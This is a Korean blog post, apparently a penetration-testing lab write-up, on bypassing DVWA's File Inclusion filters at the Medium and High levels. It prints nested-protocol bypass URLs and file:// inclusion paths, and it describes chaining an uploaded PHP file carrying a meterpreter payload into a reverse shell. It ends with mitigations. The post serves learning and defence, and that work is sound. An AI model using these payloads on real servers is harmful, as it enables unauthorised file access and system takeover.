웹 해킹 & 보안

[웹 모의해킹] File Inclusion - 파일 포함 취약점 실습 - 2편

ahhyun98 2025. 6. 3. 13:55

 

이번 실습은 DVWA 환경에서 File Inclusion(파일 포함) 취약점Medium & High 보안 레벨에서의 동작 방식과 우회 기법을 다뤘다. 이전 실습에서는 단순히 LFI(Local File Inclusion)을 통해 내부 파일을 읽는데 초점을 맞췄다면, 이번에는 우회 필터링, file://프로토콜, 그리고 업로드된 악성 파일 실행까지 이어지는 고급 시나리오를 실습하였다. 


1. File Inclusion 공격이란?

File Inclusion 취약점웹 애플리케이션이 사용자 입력값을 기반으로 파일을 불러오는 과정에서 검증이 부족할 때 발생한다. 

이로 인해 원하지 않는 내부 파일이 노출되거나, 공격자가 작성한 외부 악성 파일이 실행되는 보안 문제가 발생한다. 

  • LFI(Local File Inclusion) : 로컬 경로의 파일을 읽음 (../../etc/passwd)
  • RFI (Remote File Inclusion) : 외부 URL에서 악성 스크립트를 포함하여 실행

특히 File Upload와 함께 사용할 경우, 악성 파일 업로드 => File Inclusion 실행 => 서버 제어까지 이어지는 연계 공격이 매우 치명적이다. 


2. Medium 보안 레벨 구조 분석

<?php
$file = $_GET['page'];
$file = str_replace(array("http://", "https://"), "", $file);
$file = str_replace(array("../", "..\\"), "", $file);
?>

 

방어 로직 분석

  • "http://" / "https://" 문자열 제거 => RFI 방어 의도
  • "../" / "..\\" 제거 => Directory Traversal 방어 시도

하지만 단순한 문자열 제거 방식은 다음과 같은 방식으로 쉽게 우회될 수 있다. 


3. Medium 단계 우회 공격 기법

기법 1 : 중복된 프로토콜 삽입

http://target_ip/DVWA/vulnerabilities/fi/?page=httpshttps://://url

 

=> https://만 제거되므로 httpshttps://://는 남아 있고, 결국 외부 URL 포함을 성공한다. 

 

기법 2 : 중복된 http 패턴

http://target_ip/DVWA/vulnerabilities/fi/?page=httphttp://://target_ip/netflix/

 

=> http://만 제거되어 여전히 URL 현식으로 남게 되어 외부/ 내부 접근이 가능하다. 

 

결론

문자열 치환 방식은 패턴을 변형하면 쉽게 우회된다. 필터링만으로는 안전을 보장할 수 없다. 

 


4. High 보안 레벨 구조 및 공격

 

일반적인 경로 우회 불가

 

High 보안 레벨에서는 "../" , "http://" , 심지어 PHP 실행 환경에서도 대부분의 문자열 우회가 차단된다. 

하지만 PHP 자체 기능 중 하나인 file:// 프로토콜은 허용되어 있다면 내부 파일을 직접 읽는 것이 가능하다. 

 

file:// 프로토콜 활용

http://target_ip/DVWA/vulnerabilities/fi/?page=file:///var/www/html/index.html

 

=> PHP는 file:// 프로토콜을 지원하므로 내부 파일 index.html 읽기 성공

 


5. 업로드된 악성 파일 실행 (연계 공격)

이전 실습(File Upload 편)에서 hello.php라는 악성 PHP 파일을 업로드해 둔 상태였다면, 이를 file:// 경로로 강제로 실행시킬 수 있다.

 

http://target_ip/DVWA/vulnerabilities/fi/?page=file:///var/www/html/DVWA/hackable/uploads/hello.php

 

=> hello.php 내부에 meterpreter payload가 삽입되어 있다면 이 요청으로 인해 공격자 시스템과의 리버스 연결이 성공된다. 

 

이는 File Upload + File Inclusion 결합형 공격 시나리오로 단순 노출에서 끝나지 않고 시스템 장악까지 이어질 수 있음을 보여준다. 


6. 실습 요약

보안 단계 주요 필터링 우회 가능성 실행 결과
Medium http:// , ../ 제거 중복 접두사 삽입 (httphttp://) 외부 URL 포함 가능
High 강력한 필터링 적용 file:// 프로토콜 통해 우회 가능 내부 파일 접근 및 악성코드 실행 가능

 


7. 배운 점 & 느낀 점

  • 단순 문자열 필터링 방식의 우회 가능성을 직접 실습해 보면서, 보안 로직을 너무 신뢰하면 안 된다는 교훈을 얻을 수 있었다. 
  • file://와 같은 시스템 기본 프로토콜이 악용될 수 있다는 점은 PHP 환경에서 자주 간과되지만 매우 위험하다. 
  • 이전 실습에서 업로드된 파일이 다음 실습에서 실행될 수 있다는 사실은 실전에서의 공격 연계성과 지속성을 확인할 수 있는 중요한 포인트였다. 
  • 공격자가 직접 파일을 올리고 include로 실행까지 이어갈 수 있는 구조는 실제 침투 테스트 시 자주 발견되는 고위험 취약점임을 체감할 수 있었다. 

8. 대응 방안 (우회 기법에 대한 심화 대응)

이번 실습에서는 기존 대응 방안 외에도 아래와 같은 고급 우회 기법에 대한 보안 조치가 추가적으로 요구된다. 

대응 항목 설명
정규표현식 기반 검증 http:// 제거가 아닌 ^http?:\/\/ 패턴 전체 차단 필요
file:// , php:// 차단 PHP 설정 또는 서버단 필터링에서 위험한 스트림 프로토콜 제거
동적 include 제거 사용자 입력 기반 경로 포함 대신 switch-case 기반 고정 로직 사용
화이트리스트 경로 제한 정해진 파일명 목록 외에는 포함 불가하도록 제한
보안 레벨 리스트 관리 각 보안 수준별로 공격 우회 경로 존재 여부를 리스트로 만들어서 관리

 

 

 

 

이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.

모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.